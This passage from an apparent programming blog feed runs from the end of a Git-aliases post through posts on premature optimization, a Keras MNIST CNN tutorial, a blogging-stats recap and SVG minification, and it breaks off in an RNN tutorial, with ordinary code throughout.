git config --global alias.lo "log --oneline -n 10"

You can copy and paste these to use my aliases!

Finally, there’s one more shorthand I like to use:

// Header: ~/.bash_profile
# ... other stuff

alias g=git

You can use any text editor to add this to your .bash_profile. See: Linux alias command.

This is a Bash Alias and does exactly what you think it does. If you use a different shell, you can probably do this with a similar feature (e.g. Zsh Aliasing).

You’re ready. Using Git looks like this now:

$ g s
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean

$ g br
* master

$ g co -b new-branch
Switched to a new branch 'new-branch'

$ g lo
Author: Victor Zhou <vzhou842@gmail.com>
Date:   Mon Aug 26 01:16:49 2019 -0700

    Bump version to 1.1.1

Is this actually useful though…

Maybe? Depends on the person. It’ll save you a little time if you’re like me and do weird stuff like habitually spam “git status”:

what weird habits do you have?

something I've recently realized I do a lot: spamming "git status" and clearing my terminal pic.twitter.com/LYlwM9hFAB
— Victor Zhou (@victorczhou) September 15, 2019

My opinion is that it’s a small price to pay (~30 seconds of setup on each new machine) for a nice quality of life improvement that makes you feel fast and efficient. How much time you actually save is debatable though…

Some Quick Maths

Let’s get a ballpark estimate of the true amount of time saved. I type around 135 words per minute, so assuming an average of 4 characters per word that’s

\frac{135 * 4}{60} = \boxed{9}

characters per second.

Here’s a table of how many characters my most commonly-used shortcuts save:

Original command	Shortened command	Characters saved
`git status`	`g s`	7
`git diff`	`g d`	5
`git checkout`	`g co`	8
`git branch`	`g br`	6
`git log -1 HEAD`	`g last`	9
`git commit --amend --no-edit`	`g cane`	20

Next, I used the history command to see my 500 most recent commands. Here’s the breakdown:

Command	Times used
`g s`	155
`g d`	47
`g co`	19
`g br`	26
`g last`	11
`g cane`	2
Other Git commands	94
Non-Git commands	146

Each of the 94 “other Git commands” saved 2 characters (since I shorten git to g), so the total # of characters saved was:

Command	Times used	Characters saved	Total characters saved
`g s`	155	7	1085
`g d`	47	5	235
`g co`	19	8	152
`g br`	26	6	156
`g last`	11	9	99
`g cane`	2	20	40
Other Git commands	94	2	188

1085 + 235 + \ldots + 40 + 188 = \boxed{1955}

characters saved, an average of $\frac{1955}{354} = \boxed{5.5}$ characters per Git command. Assuming I type ~100 Git commands in an average 8-hour workday, that’s 550 characters saved, which converts to about one minute saved per day (using my earlier average typing speed of 9 chars/sec).

Ok, so this isn’t that practically useful. 😢

But, let me reiterate what I said earlier: it makes you feel efficient, and maybe there’s some kind of placebo effect that actually makes you more productive.

What do you think? Do you use aliases, and why or why not? What other aliases do you like? Feel free to discuss below!

UPDATE: There’s some good discusion in this lobste.rs post and in the comments section below. I recommend giving those a read!

Epilogue

As I was writing this post, I realized there were 3 more Git commands I often use that I’d been neglecting:

$ git add .
$ git commit -m 'message'
$ git reset --hard

I’m going to add those to my Git Aliases!

// Header: git aliases
git config --global alias.a "add ."
git config --global alias.cm "commit -m"
git config --global alias.rh "reset --hard"

Avoid Premature Optimization

Mon, 26 Aug 2019 12:00:00 GMT

Donald Knuth once famously said:

The real problem is that programmers have spent far too much time worrying about efficiency in the wrong places and at the wrong times; premature optimization is the root of all evil (or at least most of it) in programming.

Here’s my story of learning to avoid premature optimization the hard way…

GeoArena Online

A few years ago, I was working on a web game called GeoArena Online (I’ve since sold it, and the new owners rebranded to geoarena.io). It was a multiplayer game where players controlled ships in last-man-standing style 1v1 battles:

Running a fast-paced game with lots of particles and effects is rather computationally expensive - some older computers would experience frame rate drops when gameplay got particularly intense. As a bit of a performance geek, I welcomed this challenge: how could I make GeoArena’s client-side Javascript faster?

fast.js

After some Googling, I found a library called fast.js that was “a collection of micro-optimisations aimed at making writing very fast JavaScript programs easier.” It did this by offering faster implementations for built-in native methods like Array.prototype.forEach().

Woah. Sounds cool, right? GeoArena used a lot of arrays and performed a lot of array operations, so maybe this could help speed up the game. The fast.js README includes the following example benchmark result for forEach():

Native .forEach() vs fast.forEach() (10 items)
  ✓  Array::forEach() x 8,557,082 ops/sec ±0.37% (97 runs sampled)
  ✓  fast.forEach() x 8,799,272 ops/sec ±0.41% (97 runs sampled)

  Result: fast.js is 2.83% faster than Array::forEach().

How could a user-land implementation be faster than the native one?!

It’s because there was a catch (there’s always a catch…): it only worked on arrays that weren’t sparse:

// This array is sparse: there's nothing at index 1.
const sparse1 = [0, , 1];
console.log(sparse1.length); // 3

// This is an empty array...
const sparse2 = [];

// ...and now it's sparse: there's nothing at indices 0 - 4.
sparse2[5] = 0;
console.log(sparse2.length); // 6

Two simple examples of sparse arrays.

To understand why fast.js didn’t work on sparse arrays, I took a look at its source code. Turns out, the fast.js implementations were basically just for loops. For example, fast.forEach() looked something like this:

// This is slightly simplified for clarity.
function fastForEach(array, f) {
  for (let i = 0; i < array.length; i++) {
    f(array[i], i, array);
  }
}

const sparseArray = [1, , 2];
const print = x => console.log(x);

fastForEach(sparseArray, print); // Executes print() 3 times.
sparseArray.forEach(print); // Executes print() only 2 times.

The fastForEach() call prints 3 lines:

1
undefined
2

The sparseArray.forEach() call only prints 2:

1
2

This discrepancy is because the JS spec calls for the callback function f to not be invoked for deleted or uninitialized indices, aka holes. The fastForEach() implementation skips checking for holes, which leads to speedups at the expense of correctness for sparse arrays. This was perfect for my use case, since GeoArena didn’t use any sparse arrays.

At this point, I should’ve just quickly tested out fast.js: install it, replace native Array methods with fast.js methods, then benchmark and evaluate.

Instead, I came up with…

faster.js

The obsessive perfectionist in me wanted to squeeze out every last drop of performance I could. fast.js just wasn’t good enough for me, because it required a method invocation. What if I could replace native Array methods inline with faster implementations?, I thought. That would eliminate the need for those method invocations…

…and that’s how I came up with the genius idea to build a compiler, which I cheekily named faster.js, instead of use fast.js. Faster.js would compile this idiomatic code:

// Original code
const arr = [1, 2, 3];
const results = arr.map(e => 2 * e);

into this faster, uglier code:

// Compiled with faster.js
const arr = [1, 2, 3];
const results = new Array(arr.length);
const _f = (e => 2 * e);
for (let _i = 0; _i < arr.length; _i++) {
  results[_i] = _f(arr[_i], _i, arr);
}

The idea behind faster.js was the same: micro-optimize for performance by dropping support for sparse arrays.

At first glance, faster.js seemed like a huge success. Here’s select output from a full benchmark run of faster.js:

  array-filter large
    ✓ native x 232,063 ops/sec ±0.36% (58 runs sampled)
    ✓ faster.js x 1,083,695 ops/sec ±0.58% (57 runs sampled)
faster.js is 367.0% faster (3.386μs) than native

  array-map large
    ✓ native x 223,896 ops/sec ±1.10% (58 runs sampled)
    ✓ faster.js x 1,726,376 ops/sec ±1.13% (60 runs sampled)
faster.js is 671.1% faster (3.887μs) than native

  array-reduce large
    ✓ native x 268,919 ops/sec ±0.41% (57 runs sampled)
    ✓ faster.js x 1,621,540 ops/sec ±0.80% (57 runs sampled)
faster.js is 503.0% faster (3.102μs) than native

  array-reduceRight large
    ✓ native x 68,671 ops/sec ±0.92% (53 runs sampled)
    ✓ faster.js x 1,571,918 ops/sec ±1.16% (57 runs sampled)
faster.js is 2189.1% faster (13.926μs) than native

You can view the full output here. Benchmarked on Node v8.16.1 using a 15-inch 2018 Macbook Pro.

Over 2000% faster than native?! That’s a huge performance win any way you look at it, right?

Nope.

Let’s consider a simple example. Suppose that

The average GeoArena game requires a total of 5000 milliseconds (ms) of computation.
faster.js increases the execution speed of Array methods by 10x (a gross overestimate; in most real-world scenarios it’s not even 2x) on average.

The question we really care about, though, is this: what portion of those 5000ms is spent in Array methods?

Let’s say it’s half: 2500ms spent in Array methods, 2500ms spent elsewhere. Faster.js would then indeed be a huge performance win:

That’s a 45% decrease in total execution time!

Unfortunately, this is nowhere near realistic. Yes, GeoArena uses a lot of Array methods, but the actual distribution of execution time would look more like this:

😬😬😬.

This is the exact mistake Donald Knuth warned us about:

The real problem is that programmers have spent far too much time worrying about efficiency in the wrong places and at the wrong times

It’s basic math: if something only accounts for 1% of your total execution time, optimizing it will give you an overall performance increase of at most 1%.

This is what Knuth means by “the wrong places”: focus on performance bottlenecks, i.e. areas that contribute significantly to your performance metric, be it execution time, binary size, or something else. A 10% improvement in a big area is better than a 100% improvement in a tiny area.

Knuth also mentions “the wrong times”: only optimize when you need to. Sure, I did have a good reason to look for optimizations in this case… but remember how I built all of faster.js before even trying out fast.js on GeoArena? I could’ve saved myself weeks of work with minutes of testing. Don’t be like me.

Epilogue

If you’re curious about playing around more with faster.js, you can check out the faster.js demo. You may not get good results depending on your device / browser, but here’s what I see in Chrome 76 on my 15-inch 2018 Macbook Pro:

You’re probably also curious about my real-world results from when I finally tried out faster.js with GeoArena. I did some basic benchmarks back when I owned GeoArena (I don’t anymore because I sold it, remember?), and I found that faster.js

Increased the average main loop execution speed by ~1% on a typical game.
Increased the game’s bundle size by 0.3%, which makes the page load ever so slightly slower. This bundle size increase is because faster.js rewrites concise code into faster, verbose code.

Overall, faster.js had its pros and cons, but it didn’t make too much of a performance impact on GeoArena. I would’ve realized this much earlier if I’d just tested with fast.js first!

Let mine be a cautionary tale. You’ve been warned! ⚠️

Keras for Beginners: Implementing a Convolutional Neural Network

Thu, 08 Aug 2019 12:00:00 GMT

Keras is a simple-to-use but powerful deep learning library for Python. In this post, we’ll build a simple Convolutional Neural Network (CNN) and train it to solve a real problem with Keras.

This post is intended for complete beginners to Keras but does assume a basic background knowledge of CNNs. My introduction to Convolutional Neural Networks covers everything you need to know (and more) for this post - read that first if necessary.

Here we go!

Just want the code? The full source code is at the end.

The Problem: MNIST digit classification

We’re going to tackle a classic introductory Computer Vision problem: MNIST handwritten digit classification. It’s simple: given an image, classify it as a digit.

Sample images from the MNIST dataset

Each image in the MNIST dataset is 28x28 and contains a centered, grayscale digit. Our CNN will take an image and output one of 10 possible classes (one for each digit).

1. Setup

I’m assuming you already have a basic Python installation (you probably do). Let’s first download some packages we’ll need:

$ pip install tensorflow numpy mnist

Note: We don’t need to install the keras package because it now comes bundled with TensorFlow as its official high-level API! Using TensorFlow’s Keras is now recommended over the standalone keras package.

You should now be able to import these packages and poke around the MNIST dataset:

import numpy as np
import mnist
from tensorflow import keras

# The first time you run this might be a bit slow, since the
# mnist package has to download and cache the data.
train_images = mnist.train_images()
train_labels = mnist.train_labels()

print(train_images.shape) # (60000, 28, 28)
print(train_labels.shape) # (60000,)

2. Preparing the Data

Before we begin, we’ll normalize the image pixel values from [0, 255] to [-0.5, 0.5] to make our network easier to train (using smaller, centered values usually leads to better results). We’ll also reshape each image from (28, 28) to (28, 28, 1) because Keras requires the third dimension.

import numpy as np
import mnist

train_images = mnist.train_images()
train_labels = mnist.train_labels()
test_images = mnist.test_images()
test_labels = mnist.test_labels()

# Normalize the images.
train_images = (train_images / 255) - 0.5
test_images = (test_images / 255) - 0.5

# Reshape the images.
train_images = np.expand_dims(train_images, axis=3)
test_images = np.expand_dims(test_images, axis=3)

print(train_images.shape) # (60000, 28, 28, 1)
print(test_images.shape)  # (10000, 28, 28, 1)

We’re ready to start building our CNN!

3. Building the Model

Every Keras model is either built using the Sequential class, which represents a linear stack of layers, or the functional Model class, which is more customizeable. We’ll be using the simpler Sequential model, since our CNN will be a linear stack of layers.

We start by instantiating a Sequential model:

from tensorflow.keras.models import Sequential

# WIP
model = Sequential([
  # layers...
])

The Sequential constructor takes an array of Keras Layers. We’ll use 3 types of layers for our CNN: Convolutional, Max Pooling, and Softmax.

This is the same CNN setup we used in my introduction to CNNs. Read that post if you’re not comfortable with any of these 3 types of layers.

from tensorflow.keras.layers import Conv2D, MaxPooling2D, Dense, Flatten

num_filters = 8
filter_size = 3
pool_size = 2

model = Sequential([
  Conv2D(num_filters, filter_size, input_shape=(28, 28, 1)),
  MaxPooling2D(pool_size=pool_size),
  Flatten(),
  Dense(10, activation='softmax'),
])

num_filters, filter_size, and pool_size are self-explanatory variables that set the hyperparameters for our CNN.
The first layer in any Sequential model must specify the input_shape, so we do so on Conv2D. Once this input shape is specified, Keras will automatically infer the shapes of inputs for later layers.
The output Softmax layer has 10 nodes, one for each class.

4. Compiling the Model

Before we can begin training, we need to configure the training process. We decide 3 key factors during the compilation step:

The optimizer. We’ll stick with a pretty good default: the Adam gradient-based optimizer. Keras has many other optimizers you can look into as well.
The loss function. Since we’re using a Softmax output layer, we’ll use the Cross-Entropy loss. Keras distinguishes between binary_crossentropy (2 classes) and categorical_crossentropy (>2 classes), so we’ll use the latter. See all Keras losses.
A list of metrics. Since this is a classification problem, we’ll just have Keras report on the accuracy metric.

Here’s what that compilation looks like:

model.compile(
  'adam',
  loss='categorical_crossentropy',
  metrics=['accuracy'],
)

Onwards!

5. Training the Model

Training a model in Keras literally consists only of calling fit() and specifying some parameters. There are a lot of possible parameters, but we’ll only supply these:

The training data (images and labels), commonly known as X and Y, respectively.
The number of epochs (iterations over the entire dataset) to train for.
The validation data (or test data), which is used during training to periodically measure the network’s performance against data it hasn’t seen before.

There’s one thing we have to be careful about: Keras expects the training targets to be 10-dimensional vectors, since there are 10 nodes in our Softmax output layer. Right now, our train_labels and test_labels arrays contain single integers representing the class for each image:

import mnist

train_labels = mnist.train_labels()
print(train_labels[0]) # 5

Conveniently, Keras has a utility method that fixes this exact issue: to_categorical. It turns our array of class integers into an array of one-hot vectors instead. For example, 2 would become [0, 0, 1, 0, 0, 0, 0, 0, 0, 0] (it’s zero-indexed).

Here’s what that looks like:

from tensorflow.keras.utils import to_categorical

model.fit(
  train_images,
  to_categorical(train_labels),
  epochs=3,
  validation_data=(test_images, to_categorical(test_labels)),
)

We can now put everything together to train our network:

import numpy as np
import mnist
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Conv2D, MaxPooling2D, Dense, Flatten
from tensorflow.keras.utils import to_categorical

train_images = mnist.train_images()
train_labels = mnist.train_labels()
test_images = mnist.test_images()
test_labels = mnist.test_labels()

# Normalize the images.
train_images = (train_images / 255) - 0.5
test_images = (test_images / 255) - 0.5

# Reshape the images.
train_images = np.expand_dims(train_images, axis=3)
test_images = np.expand_dims(test_images, axis=3)

num_filters = 8
filter_size = 3
pool_size = 2

# Build the model.
model = Sequential([
  Conv2D(num_filters, filter_size, input_shape=(28, 28, 1)),
  MaxPooling2D(pool_size=pool_size),
  Flatten(),
  Dense(10, activation='softmax'),
])

# Compile the model.
model.compile(
  'adam',
  loss='categorical_crossentropy',
  metrics=['accuracy'],
)

# Train the model.
model.fit(
  train_images,
  to_categorical(train_labels),
  epochs=3,
  validation_data=(test_images, to_categorical(test_labels)),
)

Running that code on the full MNIST dataset gives us results like this:

Epoch 1
loss: 0.2433 - acc: 0.9276 - val_loss: 0.1176 - val_acc: 0.9634
Epoch 2
loss: 0.1184 - acc: 0.9648 - val_loss: 0.0936 - val_acc: 0.9721
Epoch 3
loss: 0.0930 - acc: 0.9721 - val_loss: 0.0778 - val_acc: 0.9744

We achieve 97.4% test accuracy with this simple CNN!

6. Using the Model

Now that we have a working, trained model, let’s put it to use. The first thing we’ll do is save it to disk so we can load it back up anytime:

model.save_weights('cnn.h5')

We can now reload the trained model whenever we want by rebuilding it and loading in the saved weights:

from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Conv2D, MaxPooling2D, Dense, Flatten

num_filters = 8
filter_size = 3
pool_size = 2

# Build the model.
model = Sequential([
  Conv2D(num_filters, filter_size, input_shape=(28, 28, 1)),
  MaxPooling2D(pool_size=pool_size),
  Flatten(),
  Dense(10, activation='softmax'),
])

# Load the model's saved weights.
model.load_weights('cnn.h5')

Using the trained model to make predictions is easy: we pass an array of inputs to predict() and it returns an array of outputs. Keep in mind that the output of our network is 10 probabilities (because of softmax), so we’ll use np.argmax() to turn those into actual digits.

# Predict on the first 5 test images.
predictions = model.predict(test_images[:5])

# Print our model's predictions.
print(np.argmax(predictions, axis=1)) # [7, 2, 1, 0, 4]

# Check our predictions against the ground truths.
print(test_labels[:5]) # [7, 2, 1, 0, 4]

8. Extensions

There’s much more we can do to experiment with and improve our network - in this official Keras MNIST CNN example, they achieve 99 test accuracy after 15 epochs. Some examples of modifications you could make to our CNN include:

Network Depth

What happens if we add or remove Convolutional layers? How does that affect training and/or the model’s final performance?

model = Sequential([
  Conv2D(num_filters, filter_size, input_shape=(28, 28, 1)),
  Conv2D(num_filters, filter_size),  MaxPooling2D(pool_size=pool_size),
  Flatten(),
  Dense(10, activation='softmax'),
])

Dropout

What if we tried adding Dropout layers, which are commonly used to prevent overfitting?

from tensorflow.keras.layers import Dropout
model = Sequential([
  Conv2D(num_filters, filter_size, input_shape=(28, 28, 1)),
  MaxPooling2D(pool_size=pool_size),
  Dropout(0.5),  Flatten(),
  Dense(10, activation='softmax'),
])

Fully-connected Layers

What if we add fully-connected layers between the Convolutional outputs and the final Softmax layer? This is something commonly done in CNNs used for Computer Vision.

from tensorflow.keras.layers import Dense
model = Sequential([
  Conv2D(num_filters, filter_size, input_shape=(28, 28, 1)),
  MaxPooling2D(pool_size=pool_size),
  Flatten(),
  Dense(64, activation='relu'),  Dense(10, activation='softmax'),
])

Convolution Parameters

What if we play with the Conv2D parameters? For example:

# These can be changed, too!
num_filters = 8
filter_size = 3

model = Sequential([
  # See https://keras.io/layers/convolutional/#conv2d for more info.
  Conv2D(
    num_filters,
    filter_size,
    input_shape=(28, 28, 1),
    strides=2,    padding='same',    activation='relu',  ),
  MaxPooling2D(pool_size=pool_size),
  Flatten(),
  Dense(10, activation='softmax'),
])

Conclusion

You’ve implemented your first CNN with Keras! We achieved a test accuracy of 97.4% with our simple initial network. I’ll include the full source code again below for your reference.

Further reading you might be interested in include:

My Keras for Beginners series, which has more Keras guides.
The official getting started with Keras guide.
My post on deriving backpropagation for training CNNs.
More posts on Neural Networks.

Thanks for reading! The full source code is below.

The Full Code

# The full CNN code!
####################
import numpy as np
import mnist
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Conv2D, MaxPooling2D, Dense, Flatten
from tensorflow.keras.utils import to_categorical

train_images = mnist.train_images()
train_labels = mnist.train_labels()
test_images = mnist.test_images()
test_labels = mnist.test_labels()

# Normalize the images.
train_images = (train_images / 255) - 0.5
test_images = (test_images / 255) - 0.5

# Reshape the images.
train_images = np.expand_dims(train_images, axis=3)
test_images = np.expand_dims(test_images, axis=3)

num_filters = 8
filter_size = 3
pool_size = 2

# Build the model.
model = Sequential([
  Conv2D(num_filters, filter_size, input_shape=(28, 28, 1)),
  MaxPooling2D(pool_size=pool_size),
  Flatten(),
  Dense(10, activation='softmax'),
])

# Compile the model.
model.compile(
  'adam',
  loss='categorical_crossentropy',
  metrics=['accuracy'],
)

# Train the model.
model.fit(
  train_images,
  to_categorical(train_labels),
  epochs=3,
  validation_data=(test_images, to_categorical(test_labels)),
)

# Save the model to disk.
model.save_weights('cnn.h5')

# Load the model from disk later using:
# model.load_weights('cnn.h5')

# Predict on the first 5 test images.
predictions = model.predict(test_images[:5])

# Print our model's predictions.
print(np.argmax(predictions, axis=1)) # [7, 2, 1, 0, 4]

# Check our predictions against the ground truths.
print(test_labels[:5]) # [7, 2, 1, 0, 4]

My First 6 Months of Blogging

Sun, 04 Aug 2019 12:00:00 GMT

Today is my 6 month anniversary of starting this blog! 🎉

In my First 50 Days of Blogging post, I outlined some (rather ambitious) goals for my first year of blogging (Year One):

Publish 50 blog posts.
Get a million pageviews.
Grow my newsletter to 10,000 subscribers.

Here’s where I’m at as of today:

Published 24 blog posts.
Gotten 314k pageviews.
Grown my newsletter to 2,000 subscribers.

I’m on track to hit my blog posts goal, but there’s still some ground to make up for the other two goals 😅.

Let’s get into the numbers more!

Pageviews

Here’s a graph of my blog’s pageviews over the past 6 months:

The spikes correspond to popular posts:

My top 5 posts by pageviews so far are:

Page	Pageviews
/blog/intro-to-neural-networks/	71,431
/blog/intro-to-random-forests/	33,579
/blog/intro-to-cnns-part-1/	25,148
/blog/intro-to-rnns/	14,457
/blog/build-an-io-game-part-1/	13,215

The top 5 consist of 4 Machine Learning posts, each of which got popular on Hacker News shortly after being published. The 5th is a dark horse: my guide to Building Multiplayer (.io) Web Games. Most of the traffic to that post has been organic - aside from a podcast I did on that subject, there wasn’t significant attention for that post when it came out.

Organic Traffic

Despite being behind on my Year One goals, I see a clear silver lining: organic traffic growth. 📈

Performance on Google Search Results over the past 6 months

My blog has gone from 20 clicks per day at the 50 day mark to 500+ clicks per day at the 6 month mark!

Incredibly, my simple Gini Impurity post is by far my blog’s biggest driver of organic traffic. It’s usually the second (sometimes the first!) result on Google when you search “gini impurity”:

One of my original reasons for starting this blog was to “learn more about and get firsthand experience with SEO,” and I’m excited to continue doing so.

Conclusion

It’s been a great journey so far, and I’m excited for what the future holds. As always, thank you to my readers from the past 6 months! See you at the Year One recap.

Minify Your SVGs

Fri, 02 Aug 2019 12:00:00 GMT

I use a lot of SVGs in my blog posts. They’re great for simple diagrams or illustrations, like this one:

From my Neural Networks From Scratch Series.

I use Inkscape, a free and open-source vector graphics editor, to make my SVGs. In the beginning, I just saved my SVGs using the default Inkscape format, something called Inkscape SVG. That turned out to be not ideal…

Let’s use this SVG of a circle as an example:

Here’s the Inkscape SVG markup for that laughably-simple icon:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->

<svg
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:cc="http://creativecommons.org/ns#"
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:svg="http://www.w3.org/2000/svg"
   xmlns="http://www.w3.org/2000/svg"
   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
   width="24"
   height="24"
   viewBox="0 0 24 24"
   id="svg4242"
   version="1.1"
   inkscape:version="0.91 r13725"
   sodipodi:docname="circle.svg">
  <defs
     id="defs4244" />
  <sodipodi:namedview
     id="base"
     pagecolor="#ffffff"
     bordercolor="#666666"
     borderopacity="1.0"
     inkscape:pageopacity="0.0"
     inkscape:pageshadow="2"
     inkscape:zoom="33.458333"
     inkscape:cx="12"
     inkscape:cy="12"
     inkscape:document-units="px"
     inkscape:current-layer="layer1"
     showgrid="false"
     units="px"
     inkscape:window-width="1680"
     inkscape:window-height="1005"
     inkscape:window-x="0"
     inkscape:window-y="1"
     inkscape:window-maximized="1" />
  <metadata
     id="metadata4247">
    <rdf:RDF>
      <cc:Work
         rdf:about="">
        <dc:format>image/svg+xml</dc:format>
        <dc:type
           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
        <dc:title></dc:title>
      </cc:Work>
    </rdf:RDF>
  </metadata>
  <g
     inkscape:label="Layer 1"
     inkscape:groupmode="layer"
     id="layer1">
    <circle
       style="opacity:1;fill:#000000;fill-opacity:1;stroke:none;stroke-width:4;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1"
       id="path4790"
       cx="12"
       cy="12"
       r="12" />
  </g>
</svg>

Wow. That’s 2 KB of markup for basically nothing.

Eventually (read: after an embarrassingly long time 🤷), I figured out that Inkscape had an Optimized SVG output format. This was much more reasonable - using Inkscape’s default settings, the Optimized SVG markup for our circle is:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg4242" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.w3.org/2000/svg" height="24" width="24" version="1.1" xmlns:cc="http://creativecommons.org/ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" viewBox="0 0 24 24">
 <g id="layer1">
  <circle id="path4790" cx="12" cy="12" r="12"/>
 </g>
</svg>

Still, though, that’s 387 bytes just to draw a 24x24 circle. Surely this isn’t the end of the road, right…?

Of course not. Look, I figured out how to save files in the Optimized SVG format doesn’t warrant its own blog post.

The final evolution of our circle SVG is a result of passing it through svgo, a popular Node.js tool specifically for optimizing SVGs:

<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24"><circle cx="12" cy="12" r="12"/></svg>

102 bytes! That’s much more like it.

Here’s how all 3 versions of our circle SVG look when rendered:

The Inkscape SVG version: 2 KB

The Optimized SVG version: 387 bytes

The final version: 102 bytes

Yup. They’re all just plain black circles, but the third one takes up 20x less space than the first one. Minify your SVGs!

How I Minify SVGs

Sure, I could just manually run svgo on any SVGs I wanted to use, but what I really wanted was a way to optimize SVGs at build time because:

Who wants to have to remember to manually optimize every SVG?!
I wanted to keep using the Inkscape SVG format, which retains some useful metadata (e.g. to preserve your session the next time you open the file).

This blog is built on Gatsby.js (it’s open-source on Github if you’re curious), so I wrote a simple plugin called gatsby-plugin-optimize-svgs to run svgo on any SVGs present in the build output. It’s trivial to install:

$ npm install gatsby-plugin-optimize-svgs

// Header: gatsby-config.js
module.exports = {
  plugins: [
    // ...
    'gatsby-plugin-optimize-svgs',  ],
};

Here’s what my results with gatsby-plugin-optimize-svgs were:

62 SVGs minified, reducing the total size from 459322 bytes to 208897 bytes, a reduction of 54.5%! That’s a total of 250 KB, or 4 KB per SVG. Keep in mind that all of my SVGs were already saved in the Optimized SVG format - these savings were on top of already optimized SVGs. If you haven’t thought about minifying your SVGs before, chances are you’d see much more drastic results.

Now It’s Your Turn

Go check your sites. Do they serve any SVGs? Make sure they’re minified!

Neural Networks From Scratch

Tue, 30 Jul 2019 12:00:00 GMT

This 4-post series, written especially with beginners in mind, provides a fundamentals-oriented approach towards understanding Neural Networks. We’ll start with an introduction to classic Neural Networks for complete beginners before delving into two popular variants: Recurrent Neural Networks (RNNs) and Convolutional Neural Networks (CNNs).

For each of each these types of networks, we’ll:

See the structure of the network.
Understand the motivation behind using that type of network.
Introduce a real-world problem that can be solved using that network.
Manually derive the gradients needed to train our problem-specific network.
Implement a fully-functioning network completely from scratch (using only numpy) in Python.

Background

This series requires ZERO prior knowledge of Machine Learning or Neural Networks. However, background in the following topics may be helpful:

Multivariable Calculus, used when deriving the gradients needed to train our networks. These gradient derivations can be skipped if you don’t have the background.
Linear Algebra, specifically Matrix algebra - matrices are often the best way to represent weights for Neural Networks.
Python 3, because the Python implementations in these posts are a major part of their educational value. A baseline proficiency in Python is enough.

The Series

Ready to get started? Here we go:

An Introduction to Recurrent Neural Networks for Beginners

Wed, 24 Jul 2019 12:00:00 GMT

Recurrent Neural Networks (RNNs) are a kind of neural network that specialize in processing sequences. They’re often used in Natural Language Processing (NLP) tasks because of their effectiveness in handling text. In this post, we’ll explore what RNNs are, understand how they work, and build a real one from scratch (using only numpy) in Python.

This post assumes a basic knowledge of neural networks. My introduction to Neural Networks covers everything you’ll need to know, so I’d recommend reading that first.

Let’s get into it!

1. The Why

One issue with vanilla neural nets (and also CNNs) is that they only work with pre-determined sizes: they take fixed-size inputs and produce fixed-size outputs. RNNs are useful because they let us have variable-length sequences as both inputs and outputs. Here are a few examples of what RNNs can look like:

Inputs are red, the RNN itself is green, and outputs are blue. Source: Andrej Karpathy

This ability to process sequences makes RNNs very useful. For example:

Machine Translation (e.g. Google Translate) is done with “many to many” RNNs. The original text sequence is fed into an RNN, which then produces translated text as output.
Sentiment Analysis (e.g. Is this a positive or negative review?) is often done with “many to one” RNNs. The text to be analyzed is fed into an RNN, which then produces a single output classification (e.g. This is a positive review).

Later in this post, we’ll build a “many to one” RNN from scratch to perform basic Sentiment Analysis.

2. The How

Let’s consider a “many to many” RNN with inputs $x_0, x_1, \ldots x_n$ that wants to produce outputs $y_0, y_1, \ldots y_n$ . These $x_i$ and $y_i$ are vectors and can have arbitrary dimensions.

RNNs work by iteratively updating a hidden state $h$ , which is a vector that can also have arbitrary dimension. At any given step $t$ ,

The next hidden state $h_t$ is calculated using the previous hidden state $h_{t-1}$ and the next input $x_t$ .
The next output $y_t$ is calculated using $h_t$ .

Here’s what makes a RNN recurrent: it uses the same weights for each step. More specifically, a typical vanilla RNN uses only 3 sets of weights to perform its calculations:

$W_{xh}$ , used for all $x_t$ → $h_t$ links.
$W_{hh}$ , used for all $h_{t-1}$ → $h_t$ links.
$W_{hy}$ , used for all $h_t$ → $y_t$ links.

We’ll also use two biases for our RNN:

$b_h$ , added when calculating $h_t$ .
$b_y$ , added when calculating $y_t$ .

We’ll represent the weights as matrices and the biases as vectors. These 3 weights and 2 biases make up the entire RNN!

Here are the equations that put everything together:

h_t = \tanh (W_{xh} x_t + W_{hh} h_{t-1} + b_h)

y_t = W_{hy} h_t + b_y

Don't skim over these equations. Stop and stare at this for a minute. Also, remember that the weights are matrices and the other variables are vectors.

All the weights are applied using matrix multiplication, and the biases are added to the resulting products. We then use tanh as an activation function for the first equation (but other activations like sigmoid can also be used).

No idea what an activation function is? Read my introduction to Neural Networks like I mentioned. Seriously.

3. The Problem

Let’s get our hands dirty! We’ll implement an RNN from scratch to perform a simple Sentiment Analysis task: determining whether a given text string is positive or negative.

Here are a few samples from the small dataset I put together for this post:

Text	Positive?
i am good	✓
i am bad	❌
this is very good	✓
this is not bad	✓
i am bad not good	❌
i am not at all happy	❌
this was good earlier	✓
i am not at all bad or sad right now	✓

4. The Plan

Since this is a classification problem, we’ll use a “many to one” RNN. This is similar to the “many to many” RNN we discussed earlier, but it only uses the final hidden state to produce the one output $y$ :

Each $x_i$ will be a vector representing a word from the text. The output $y$ will be a vector containing two numbers, one representing positive and the other negative. We’ll apply Softmax to turn those values into probabilities and ultimately decide between positive / negative.

Let’s start building our RNN!

5. The Pre-Processing

The dataset I mentioned earlier consists of two Python dictionaries:

# Header: data.py
train_data = {
  'good': True,
  'bad': False,
  # ... more data
}

test_data = {
  'this is happy': True,
  'i am good': True,
  # ... more data
}

True = Positive, False = Negative

We’ll have to do some pre-processing to get the data into a usable format. To start, we’ll construct a vocabulary of all words that exist in our data:

# Header: main.py
from data import train_data, test_data

# Create the vocabulary.
vocab = list(set([w for text in train_data.keys() for w in text.split(' ')]))
vocab_size = len(vocab)
print('%d unique words found' % vocab_size) # 18 unique words found

vocab now holds a list of all words that appear in at least one training text. Next, we’ll assign an integer index to represent each word in our vocab.

# Header: main.py
# Assign indices to each word.
